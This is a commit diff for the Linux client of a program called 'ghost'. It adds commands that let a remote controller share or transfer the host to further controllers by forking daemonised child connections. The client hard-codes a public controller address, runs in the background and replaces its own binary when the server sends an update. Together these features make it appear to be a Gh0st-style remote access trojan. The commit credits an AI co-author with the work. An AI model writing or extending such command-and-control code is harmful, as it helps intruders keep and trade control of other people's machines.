Feature: Share a Linux host to another master

Add COMMAND_SHARE (SHARE_TYPE_YAMA) with the Windows semantics: the
record goes into share_list and a second connection is opened to the
target master while the main link stays where it is. main()'s connection
state is all global, so each record is served by a forked
"--share <entry>" child that reuses the whole login, heartbeat and
command path; the parent only starts, tracks and reaps them.
COMMAND_SHARE_CANCEL clears the list and stops the children right away
(Linux can; Windows does it on the next start).

Transfer now opens its connection immediately too, matching the Windows
fallthrough that spawns a shared instance, and that temporary connection
is dropped once the main link has actually moved to the target or when
the transfer expires.

common/host_endpoint.h holds the ip/port/shine/transport word list the
two commands share; common/host_share.h holds the share payload,
share_list encoding and the per-master dedup.

Config writes now take a cross-process flock and replace the file by
rename. The parent and every child write the same config.conf from their
own snapshot, and a truncating overwrite could drop the other side's
keys. Children ignore the commands that only mean something on the main
link: share, transfer, upgrade, TLS anchor and group.

Verified in WSL against fake masters: share start, cancel and restore,
re-sharing with a different transport, share plus transfer on one master,
and the transfer child disappearing after the main link moved.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-07 23:21:44 +01:00
1 parent 7240879792
commit 2a97471b51
6 files changed
+743 -85

No files matched your search

+439 -13
View File
@@ -4,6 +4,7 @@
#include <sys/utsname.h>
#include <sys/sysinfo.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <pwd.h>
#include <string.h>
#include <termios.h>
@@ -11,6 +12,7 @@
#include <fcntl.h>
#include <atomic>
#include <mutex>
#include <algorithm>
#include <cerrno>
#include <csignal>
#include <sys/wait.h>
@@ -41,6 +43,7 @@
#include "common/posix_net_helpers.h"
#include "common/sub_conn_thread.h"
#include "common/host_transfer.h"
#include "common/host_share.h"
#include "LinuxConfig.h"
#include <openssl/evp.h>
#include <cctype>
@@ -48,6 +51,16 @@
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength);
// 主机分享/转移的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用)
// 分享子进程与转移子进程都走同一套 fork+exec 管理,只是归属不同:
// KIND_SHARE 「取消分享」只停这些
// KIND_TRANSFER 转移到期时停这些(提前建立的那条连接)
// KIND_ALL 主实例退出时全停
enum ManagedKind { KIND_SHARE, KIND_TRANSFER, KIND_ALL };
static bool StartShareInstance(const std::string& entry);
static bool StartTransferInstance(const std::string& entry);
static void StopChildren(ManagedKind kind);
static void StartShareInstancesFromConfig();
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
@@ -71,6 +84,29 @@ static std::atomic<bool> g_transferPending(false); // 接收线程已写下
static std::mutex g_transferMu; // 保护 g_transferPendingTarget
static HostTransfer::Target g_transferPendingTarget;
// ============== 主机分享(COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA)==============
// 分享不改主连接,而是另起一条通往目标主控的连接。main() 的连接状态全是全局量
// (g_SETTINGS / g_bExit / g_pMainClient / 心跳节奏 / 登录参数),线程化要逐个
// 参数化,改动面比功能本身还大;这里由主实例给每条分享记录 fork+exec 一个
// `--share <entry>` 子进程,子进程直接复用同一份登录、心跳和命令处理代码。
// 解析与 share_list 编解码在 common/host_share.h(macOS 客户端可直接复用)。
static bool g_bShareInstance = false; // 本进程是分享子进程
static std::mutex g_shareMu; // 保护 g_shareProcs
// 子进程 pid 和它启动时用的那条记录:判断「同一条分享」只能比这条记录,不能比配置
// 里的——命令处理是先写配置再起进程,配置里已经是新记录了。
// transfer=true 表示这是「转移主机」立即建立的那条连接(见 StartTransferInstance),
// 它不进 share_list、不受「取消分享」影响。
struct ShareProc {
pid_t pid;
std::string entry;
bool transfer;
};
static std::map<std::string, ShareProc> g_shareProcs; // "ip:port" / "transfer:ip:port" -> 子进程
// 分享条目上限:每条都对应一个常驻子进程,服务端误发/恶意刷下发不能把进程表打爆。
static const size_t kMaxShareEntries = 16;
static std::atomic<bool> g_shareReaperStop(false);
static std::thread g_shareReaperThread; // 退出前 join,别让它去碰已停的日志
// 自升级(COMMAND_UPDATE):fork+execv 重启自己时需要原始命令行,
// 失败回报需要主连接(DataProcess 的 user 参数为 NULL,只能靠全局)。
static int g_argc = 0;
@@ -536,6 +572,8 @@ static void CheckTransferExpiry()
g_needReconnect.store(true, std::memory_order_relaxed);
Mprintf(">>> Transfer expired: restoring %s:%d\n",
g_transferOrig.ip.c_str(), g_transferOrig.port);
// 转移时提前建立的那条连接也要收掉,否则过期后主机仍挂在新主控上。
StopChildren(KIND_TRANSFER);
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
@@ -643,6 +681,12 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
}
} else if (szBuffer[0] == CMD_SET_GROUP) {
// 分组是本机属性,写的是同一份 config.conf:分享实例改了,主机在主控 A 上的
// 分组也会跟着变,而这条命令是主控 B 下发的。交给主实例处理。
if (g_bShareInstance) {
Mprintf("** [%p] SET_GROUP ignored: running as share instance ***\n", user);
return TRUE;
}
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
@@ -666,7 +710,10 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
// 服务端下发信任锚证书(载荷与 Windows 一致:szBuffer+1 起为 PEM 正文)。
// Windows 写注册表 settings\tls_cert;Linux 写 ~/.config/ghost/yama-ca.pem。
// 与 Windows 不同:Linux 落盘后热重载并重连,立即切换(Windows 仍需重启进程)。
if (ulLength > 1) {
// 分享实例不理会:信任锚是整机一份,跟着分享目标主控切换会把主连接也一起换掉。
if (g_bShareInstance) {
Mprintf("** [%p] TLS_ENABLE ignored: running as share instance ***\n", user);
} else if (ulLength > 1) {
std::string pem((char*)szBuffer + 1, ulLength - 1);
std::string err;
if (TlsTrustAnchorSave(pem, err)) {
@@ -681,17 +728,58 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
}
} else if (szBuffer[0] == COMMAND_TLS_DISABLE) {
// 撤销信任锚:删除配置文件并热重载,当前连接若是 TLS 就重连回明文。
std::string err;
if (TlsTrustAnchorRemove(err)) {
Mprintf("** [%p] TLS trust anchor removed ***\n", user);
ApplyTlsAnchorChange(user);
// 分享实例同理不理会(见上面 TLS_ENABLE)。
if (g_bShareInstance) {
Mprintf("** [%p] TLS_DISABLE ignored: running as share instance ***\n", user);
} else {
Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str());
std::string err;
if (TlsTrustAnchorRemove(err)) {
Mprintf("** [%p] TLS trust anchor removed ***\n", user);
ApplyTlsAnchorChange(user);
} else {
Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str());
}
}
} else if ((szBuffer[0] == COMMAND_SHARE || szBuffer[0] == COMMAND_ASSIGN_MASTER)
&& ulLength > 1 && szBuffer[1] == SHARE_TYPE_YAMA) {
// 「分享主机」:host:port:shine[:transport],解析见 common/host_share.h。
// 命令字节是 COMMAND_SHARE;COMMAND_ASSIGN_MASTER 一起收,与 Windows 客户端的
// case 合并写法保持一致(转移用 buf[1]=SHARE_TYPE_YAMA_FOREVER,走下面的分支)。
// 分享不改本实例的主连接,而是另起一条通往目标主控的连接——主实例 fork 一个
// 分享子进程来做;子进程收到同一条命令时不能再分享,否则会一链套一链。
if (g_bShareInstance) {
Mprintf("** [%p] SHARE ignored: running as share instance ***\n", user);
return TRUE;
}
HostShare::Endpoint ep;
if (!HostShare::ParseCommand(szBuffer, ulLength, ep)) {
Mprintf("** [%p] SHARE: malformed payload, ignored ***\n", user);
return TRUE;
}
// 落盘再起进程:进程起不来(fork 失败)也只丢这一次,下次启动仍会按配置重连。
std::string entry = HostShare::EncodeEntry(ep);
LinuxConfig cfg;
const std::string oldList = cfg.GetStr("share_list");
const std::string newList = HostShare::AddEntry(oldList, entry);
// 新目标才占名额;同一主控重新下发只是替换记录,不受上限影响。
if (newList != oldList && HostShare::Count(newList) > kMaxShareEntries) {
Mprintf("** [%p] SHARE to %s ignored: share_list is full (%d) ***\n",
user, HostShare::MasterKey(ep).c_str(), (int)kMaxShareEntries);
return TRUE;
}
cfg.SetStr("share_list", newList);
Mprintf("** [%p] SHARE to %s (entry=%s) ***\n",
user, HostShare::MasterKey(ep).c_str(), entry.c_str());
StartShareInstance(entry);
} else if (szBuffer[0] == COMMAND_ASSIGN_MASTER) {
// 「转移主机」:host:port:days:shine[:transport],解析见 common/host_transfer.h。
// 载荷非法时什么都不做——绝不能把脏数据当成有效转移,否则一台上线中的主机会
// 被改到一个不存在的地址上去。
// 分享实例不处理转移:转移属于主连接,改了会把分享链路带到别的主控去。
if (g_bShareInstance) {
Mprintf("** [%p] ASSIGN ignored: running as share instance ***\n", user);
return TRUE;
}
HostTransfer::Target t;
long long now = (long long)time(nullptr);
if (!HostTransfer::ParseAssignCommand(szBuffer, ulLength, now, t)) {
@@ -715,10 +803,33 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
g_transferValidTo.store(t.validTo, std::memory_order_relaxed);
LinuxConfig cfg;
cfg.SetStr("transfer", HostTransfer::EncodeRecord(t));
Mprintf("** [%p] ASSIGN to %s:%d for %llds, applying on next reconnect ***\n",
// 立即再起一条通往新主控的连接,新主控马上就能看到这台主机上线;本实例与老主控
// 的主连接原样保留,下次重连(含重启)才轮到主连接过去。这与 Windows 客户端
// 现有语义一致:KernelManager 的转移分支末尾没有 break,会贯穿到分享分支,
// 额外起一个 shared 实例连到同一个目标地址。
Mprintf("** [%p] ASSIGN to %s:%d for %llds, main link moves on next reconnect ***\n",
user, t.ep.ip.c_str(), t.ep.port, t.validTo - now);
StartTransferInstance(HostShare::EncodeEntry(t.ep)); // 新主控立即看到上线
} else if (szBuffer[0] == COMMAND_SHARE_CANCEL) {
// 「取消分享」:清掉持久化列表并立刻收掉分享子进程。Windows 那边是同一进程里
// 的线程,取消只改配置、下次启动才生效;Linux 的分享实例本来就是独立进程,
// 可以立即断开。
if (g_bShareInstance) {
Mprintf("** [%p] SHARE_CANCEL ignored: running as share instance ***\n", user);
return TRUE;
}
LinuxConfig cfg;
cfg.SetStr("share_list", "");
Mprintf("** [%p] SHARE_CANCEL: stopping all share instances ***\n", user);
StopChildren(KIND_SHARE);
} else if (szBuffer[0] == COMMAND_UPDATE) {
// 服务端"升级程序"菜单下发新版本 ELF
// 服务端"升级程序"菜单下发新版本 ELF。
// 分享实例不升级:二进制是主实例和所有分享实例共用的,好几个进程同时替换
// 同一个文件只会互相踩,升级交给主连接那台主控做。
if (g_bShareInstance) {
Mprintf("** [%p] UPDATE ignored: running as share instance ***\n", user);
return TRUE;
}
Mprintf("** [%p] Received 'UPDATE' command (%u bytes) ***\n", user, (unsigned)ulLength);
ApplySelfUpdate(szBuffer, ulLength);
} else {
@@ -1072,6 +1183,280 @@ static void setupSignals()
signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略
}
// ============== 主机分享:分享子进程管理 ==============
// 每条分享记录对应一个子进程:`<exe> --share <ip:port[:shine[:transport]]>`。子进程
// 有自己的连接、日志文件(log_*_<pid>.txt)和重连循环,复用 main() 的全部逻辑;主实例
// 只负责起停和收尸。
static void ShareReaperLoop()
{
while (!g_shareReaperStop.load(std::memory_order_relaxed)) {
{
std::lock_guard<std::mutex> lk(g_shareMu);
for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) {
int st = 0;
pid_t r = waitpid(it->second.pid, &st, WNOHANG);
if (r == it->second.pid) {
const char* kind = it->second.transfer ? "Transfer instance" : "Share instance";
if (WIFEXITED(st))
Mprintf(">>> %s %s exited (code %d)\n",
kind, it->first.c_str(), WEXITSTATUS(st));
else if (WIFSIGNALED(st))
Mprintf(">>> %s %s exited by signal %d\n",
kind, it->first.c_str(), WTERMSIG(st));
else
Mprintf(">>> %s %s exited\n", kind, it->first.c_str());
it = g_shareProcs.erase(it);
} else if (r < 0 && errno == ECHILD) {
it = g_shareProcs.erase(it); // 已被别处收走(防御)
} else {
++it;
}
}
}
for (int i = 0; i < 10 && !g_shareReaperStop.load(std::memory_order_relaxed); ++i)
Sleep(100);
}
}
static void EnsureShareReaper()
{
static std::once_flag once;
std::call_once(once, [] { g_shareReaperThread = std::thread(ShareReaperLoop); });
}
// fork + execv 拉起一个分享子进程。fork 之后只做 async-signal-safe 调用(参数数组、
// fd 上限、路径都在 fork 前准备好),日志一律不碰——和 daemonize() 里踩过的
// 「fork 时日志线程持锁」是同一类坑。
static pid_t SpawnShareProcess(const std::string& entry)
{
std::string exe = getExePath();
if (exe.empty()) {
Mprintf("** SHARE: cannot resolve own executable path ***\n");
return -1;
}
std::string flag = "--share";
std::vector<char*> args;
args.push_back(&exe[0]);
args.push_back(&flag[0]);
args.push_back(const_cast<char*>(entry.c_str()));
args.push_back(nullptr);
long maxFd = sysconf(_SC_OPEN_MAX);
if (maxFd < 0 || maxFd > 65536) maxFd = 65536;
pid_t pid = fork();
if (pid < 0) {
Mprintf("** SHARE: fork failed: %s ***\n", strerror(errno));
return -1;
}
if (pid == 0) {
// 主实例被 SIGKILL 时也要跟着退,别留下孤儿分享连接一直挂在目标主控上
prctl(PR_SET_PDEATHSIG, SIGTERM);
if (getppid() == 1) _exit(1); // fork 与 prctl 之间主实例已经没了
setsid();
int devnull = open("/dev/null", O_RDWR);
if (devnull >= 0) {
dup2(devnull, STDIN_FILENO);
dup2(devnull, STDOUT_FILENO);
dup2(devnull, STDERR_FILENO);
if (devnull > STDERR_FILENO) close(devnull);
}
// 关掉继承的 socket / 日志 fd:子进程要用自己的连接和自己的日志文件
for (long f = STDERR_FILENO + 1; f < maxFd; ++f)
close((int)f);
execv(exe.c_str(), args.data());
_exit(127); // exec 失败:主实例日志里能看到子进程立刻退出
}
return pid;
}
// 子进程还活着吗?僵尸也算「已退出」:kill(pid, 0) 对僵尸仍然成功,会把一个已经
// 死掉、只等 reaper 收尸的空槽当成在跑,随后同一目标的重复下发被静默丢掉。
// 调用方须持有 g_shareMu(reaper 线程也用同一把锁做 waitpid,不会两边抢收尸)。
static bool ChildAliveLocked(pid_t pid)
{
int st = 0;
pid_t r = waitpid(pid, &st, WNOHANG);
return r == 0; // 0 = 还在跑;=pid 本次已收尸;-1/ECHILD = reaper 已收走
}
// 结束一个子进程:SIGTERM 最多等 3 秒,不走再 SIGKILL 等 1 秒。调用方须持有 g_shareMu。
// 不做无限期阻塞 waitpid:万一是 D 状态的进程,卡住的就是整个命令处理线程。
static void TerminateChildLocked(pid_t pid)
{
if (!ChildAliveLocked(pid))
return;
kill(pid, SIGTERM);
for (int i = 0; i < 30; ++i) {
Sleep(100);
if (!ChildAliveLocked(pid))
return;
}
kill(pid, SIGKILL);
for (int i = 0; i < 10; ++i) {
Sleep(100);
if (!ChildAliveLocked(pid))
return;
}
Mprintf(">>> Child pid %d still alive after SIGKILL, giving up on it\n", (int)pid);
}
// 起一个受管子进程并登记。key 在本进程内唯一:分享用 "ip:port",转移用 "transfer:ip:port",
// 这样转移目标与分享目标相同也不会互相顶掉。
static bool SpawnManagedChild(const std::string& key, const std::string& entry, bool transfer)
{
EnsureShareReaper();
std::lock_guard<std::mutex> lk(g_shareMu);
auto it = g_shareProcs.find(key);
if (it != g_shareProcs.end()) {
// 完全相同的记录且子进程还活着:什么都不用做(与 Windows 的 identical 分支一致)。
// 否则重复下发一次分享就会白断一次连接。
if (it->second.entry == entry && ChildAliveLocked(it->second.pid)) {
Mprintf(">>> Connection to %s already running (pid %d), unchanged\n",
key.c_str(), (int)it->second.pid);
return true;
}
// 同一目标已经有一条连接(或旧连接已死):先收掉旧的再起新的,
// 否则同一个 clientID 会有两条连接互相踢。
Mprintf(">>> Connection to %s already running (pid %d), restarting as %s\n",
key.c_str(), (int)it->second.pid, entry.c_str());
TerminateChildLocked(it->second.pid);
g_shareProcs.erase(it);
}
pid_t pid = SpawnShareProcess(entry);
if (pid <= 0)
return false;
g_shareProcs[key] = ShareProc{ pid, entry, transfer };
Mprintf(">>> %s instance started: %s (pid %d)\n",
transfer ? "Transfer" : "Share", entry.c_str(), (int)pid);
return true;
}
static bool StartShareInstance(const std::string& entry)
{
HostShare::Endpoint ep;
if (!HostShare::DecodeEntry(entry, ep))
return false;
const std::string shareKey = HostShare::MasterKey(ep);
{
// 同一主控上已有一条「转移」临时连接:分享是长期连接,接管它的职责。
// 不收掉的话,这个主控上会挂着同一 clientID 的两条连接,互踢。
const std::string transferKey = "transfer:" + shareKey;
std::lock_guard<std::mutex> lk(g_shareMu);
auto it = g_shareProcs.find(transferKey);
if (it != g_shareProcs.end()) {
Mprintf(">>> Share to %s replaces the transfer instance (pid %d)\n",
shareKey.c_str(), (int)it->second.pid);
TerminateChildLocked(it->second.pid);
g_shareProcs.erase(it);
}
}
return SpawnManagedChild(shareKey, entry, false);
}
// 「转移主机」立即生效的那条连接:不进 share_list(重启后由主连接自己过去),
// 也不受「取消分享」影响;目标可以暂时不可达,子进程有自己的重连循环。
static bool StartTransferInstance(const std::string& entry)
{
HostShare::Endpoint ep;
if (!HostShare::DecodeEntry(entry, ep))
return false;
const std::string shareKey = HostShare::MasterKey(ep);
{
// 同一个主控已经有分享连接时不必再起一条:目标那边已经能看到这台主机,
// 两条同 clientID 的连接只会互相踢。
std::lock_guard<std::mutex> lk(g_shareMu);
auto it = g_shareProcs.find(shareKey);
if (it != g_shareProcs.end() && !it->second.transfer
&& ChildAliveLocked(it->second.pid)) {
Mprintf(">>> Transfer target %s already reachable via share instance "
"(pid %d), extra connection skipped\n",
shareKey.c_str(), (int)it->second.pid);
return true;
}
}
return SpawnManagedChild("transfer:" + shareKey, entry, true);
}
// 停掉指定归属的子进程:SIGTERM 让子进程走自己的 signal handler 正常退出,
// 3 秒还不走就 SIGKILL(再等 1 秒)。
// 等待阶段不持 g_shareMu:调用点就在接收线程上,持锁睡会把 reaper 和其它起停一起堵住。
static void StopChildren(ManagedKind kind)
{
auto match = [kind](const ShareProc& p) {
return kind == KIND_ALL || p.transfer == (kind == KIND_TRANSFER);
};
std::vector<pid_t> pids;
{
std::lock_guard<std::mutex> lk(g_shareMu);
for (auto& kv : g_shareProcs)
if (match(kv.second))
pids.push_back(kv.second.pid);
for (pid_t pid : pids)
kill(pid, SIGTERM); // 只发信号,不等待
}
if (pids.empty())
return;
Mprintf(">>> Stopping %d child connection(s)\n", (int)pids.size());
// 收尸可能已被 reaper 线程抢先(ECHILD),一律按「已退出」处理。
auto exited = [](pid_t pid) {
int st = 0;
pid_t r = waitpid(pid, &st, WNOHANG);
return r == pid || (r < 0 && errno == ECHILD);
};
auto waitGone = [&](int rounds) {
std::vector<pid_t> left;
for (int i = 0; i < rounds; ++i) {
left.clear();
for (pid_t pid : pids)
if (!exited(pid)) left.push_back(pid);
if (left.empty()) break;
Sleep(100);
}
left.clear();
for (pid_t pid : pids)
if (!exited(pid)) left.push_back(pid);
return left;
};
std::vector<pid_t> left = waitGone(30);
for (pid_t pid : left)
kill(pid, SIGKILL);
if (!left.empty())
left = waitGone(10);
if (!left.empty())
Mprintf(">>> %d child connection(s) still alive after SIGKILL\n", (int)left.size());
std::lock_guard<std::mutex> lk(g_shareMu);
for (auto it = g_shareProcs.begin(); it != g_shareProcs.end(); ) {
// 只摘掉本次停掉的 pid:等待期间可能已经起了新目标,按 kind 删会误伤。
if (std::find(pids.begin(), pids.end(), it->second.pid) != pids.end())
it = g_shareProcs.erase(it);
else
++it;
}
}
// 启动时恢复上次的分享(重启前没取消的条目)。
static void StartShareInstancesFromConfig()
{
LinuxConfig cfg;
auto items = HostShare::Split(cfg.GetStr("share_list"));
if (items.size() > kMaxShareEntries) {
Mprintf(">>> share_list has %d entries, only the first %d are restored\n",
(int)items.size(), (int)kMaxShareEntries);
items.resize(kMaxShareEntries);
}
for (auto& entry : items) {
Mprintf(">>> Restoring share: %s\n", entry.c_str());
StartShareInstance(entry);
}
}
// ============== 客户端自升级(COMMAND_UPDATE) ==============
// 服务端 -> Linux 客户端载荷布局(Windows 的 COMMAND_UPDATE 没有摘要,LNX 有):
// [cmd:1][size:8 LE][ELF payload:size][md5:32 ASCII 小写 hex]
@@ -1313,12 +1698,27 @@ static void RefreshLoginCaps(LOGIN_INFOR& info)
// 用法: ./ghost [-d] [IP] [端口]
// -d 后台守护进程模式
// --share <ip:port[:shine[:transport]]> 分享实例(由主实例 fork+exec 拉起,不是给
// 人用的入口):连分享目标主控,不写 PID 文件、不处理分享/转移/升级命令。
// 示例: ./ghost -d 192.168.1.100 6543
int main(int argc, char* argv[])
{
g_argc = argc;
g_argv = argv;
// 分享子进程优先解析:它只有一个 --share 参数,不参与 -d / 位置参数那一套。
HostShare::Endpoint shareTarget;
for (int i = 1; i < argc; ++i) {
if (strcmp(argv[i], "--share") != 0)
continue;
if (i + 1 >= argc || !HostShare::DecodeEntry(argv[i + 1], shareTarget)) {
fprintf(stderr, "ghost: invalid --share argument\n");
return 1;
}
g_bShareInstance = true;
break;
}
// 解析 -d 参数
bool daemon_mode = false;
int argStart = 1;
@@ -1327,7 +1727,10 @@ int main(int argc, char* argv[])
argStart = 2;
}
if (argStart + 1 < argc) {
if (g_bShareInstance) {
// 分享实例的连接参数来自 --share,其余(机器身份、配置、日志目录)与主实例相同
HostEndpoint::ApplyEndpoint(g_SETTINGS, shareTarget);
} else if (argStart + 1 < argc) {
g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1]));
} else if (argStart < argc) {
g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort());
@@ -1345,14 +1748,21 @@ int main(int argc, char* argv[])
// 信号处理
setupSignals();
// 写 PID 文件(守护进程模式下 PID 已变为子进程的)
writePidFile();
// 写 PID 文件(守护进程模式下 PID 已变为子进程的)。分享实例共用同一份配置,
// 写 PID 文件会把主实例的覆盖掉,退出时也会把它删掉——只有主实例才写。
if (!g_bShareInstance)
writePidFile();
// 上次的「转移主机」还没到期就改连目标主控(原地址记在内存里,过期后恢复)。
// 必须在 daemonize() 之后:它在有记录时会打日志,而 fork 时若日志线程正持有
// 内部锁,子进程会永远卡在那把锁上(实测 -d 启动后只剩一行 fork 前的日志,
// 父子进程都停在 futex)。fork 之前一律不碰 Logger。
InitTransferState();
// 分享实例不读转移记录:转移属于主连接,读了会把分享链路带到别的主控去。
if (!g_bShareInstance) {
InitTransferState();
// 上次没收走的分享(取消分享或主实例正常退出才会清)在这里重新拉起
StartShareInstancesFromConfig();
}
Mprintf("Server: %s:%d (PID: %d%s)\n",
g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(),
@@ -1505,6 +1915,10 @@ int main(int argc, char* argv[])
Sleep(5000);
continue;
}
// 主连接已经搬到转移目标:那条「提前建立」的临时连接完成使命。留着就是同一
// clientID 在这个主控上的第二条连接,服务端会互踢。
if (g_transferValidTo.load(std::memory_order_relaxed) > 0)
StopChildren(KIND_TRANSFER);
// 进入新连接,重置服务端身份校验状态
ClientAuth::OnNewConnection();
@@ -1622,7 +2036,19 @@ int main(int argc, char* argv[])
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
}
// 主实例退出:先收掉分享/转移子进程(它们各有一条连向目标主控的连接),再停日志。
// 分享实例自己不持有任何子进程,也不碰 PID 文件。
if (!g_bShareInstance) {
// 顺序不能反:先让收尸线程停下并 join,再杀子进程——否则子进程退出时它还会
// 往(马上要停的)日志里写一行。
g_shareReaperStop.store(true, std::memory_order_relaxed);
if (g_shareReaperThread.joinable())
g_shareReaperThread.join();
StopChildren(KIND_ALL);
}
Logger::getInstance().stop();
removePidFile();
if (!g_bShareInstance)
removePidFile();
return 0;
}